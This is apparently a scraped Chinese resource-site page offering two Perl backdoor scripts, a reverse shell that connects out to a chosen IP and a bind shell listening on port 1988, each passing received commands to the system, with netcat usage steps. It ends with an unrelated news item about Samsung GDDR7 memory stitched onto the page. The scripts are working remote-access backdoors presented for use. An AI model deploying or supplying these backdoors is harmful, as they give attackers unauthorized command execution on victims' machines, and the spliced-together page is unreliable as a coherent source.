圆月山庄资源网 Design By www.vgjia.com

by 小杰 都是使用nc监听

 反向连接代码:

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote   = $ARGV[0] || "127.0.0.1";
my $remote_port = $ARGV[1] || 1988;
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
$ARGC = @ARGV;

if ( $ARGV[0] !~ /-/ ) {
  socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )
   or die "socket error: ";
  STDOUT->autoflush(1);
  SOCKET->autoflush(1);
  $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";
  open STDIN, ">&SOCKET";
  open STDOUT, ">&SOCKET";
  open STDERR, ">&SOCKET";
  print "You are in $path\n";
  print "Welcome to use.\n";
  print "console>\n";

  while (<STDIN>) {
    chomp;
    if ( lc($_) eq 'exit' ) {
      print " Bye Bye!";
      exit;
    }
    $msg = system($_);
    if ($msg) {
      print STDOUT "\n$msg\n";
      print STDOUT "console>";
    }
    else {
      print "console>";
    }
  }
  close SOCKET;
  exit;
}

正向连接代码: 

#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = "1988";
my $socket = new IO::Socket::INET(
  'Localhost' => '127.0.0.1',
  'LocalPort' => $port,
  'Listen'  => 1,
  'Proto'   => 'tcp',
  'Reuse'   => 1
);
die "Reason: $!" unless $socket;
while ( my $new_socket = $socket->accept() ) {
  while ( my $buffer = <$new_socket> ) {
    if ( $buffer =~ /exit/ ) { exit; }
    $res_msg = `$buffer`;
    print $new_socket "$res_msg\ncmd>";
  }
}

 这篇文章就结束到这了,希望能帮助到有需要的朋友。

标签:
perl,后门,正向,反向

圆月山庄资源网 Design By www.vgjia.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
圆月山庄资源网 Design By www.vgjia.com

RTX 5090要首发 性能要翻倍!三星展示GDDR7显存

三星在GTC上展示了专为下一代游戏GPU设计的GDDR7内存。

首次推出的GDDR7内存模块密度为16GB,每个模块容量为2GB。其速度预设为32 Gbps(PAM3),但也可以降至28 Gbps,以提高产量和初始阶段的整体性能和成本效益。

据三星表示,GDDR7内存的能效将提高20%,同时工作电压仅为1.1V,低于标准的1.2V。通过采用更新的封装材料和优化的电路设计,使得在高速运行时的发热量降低,GDDR7的热阻比GDDR6降低了70%。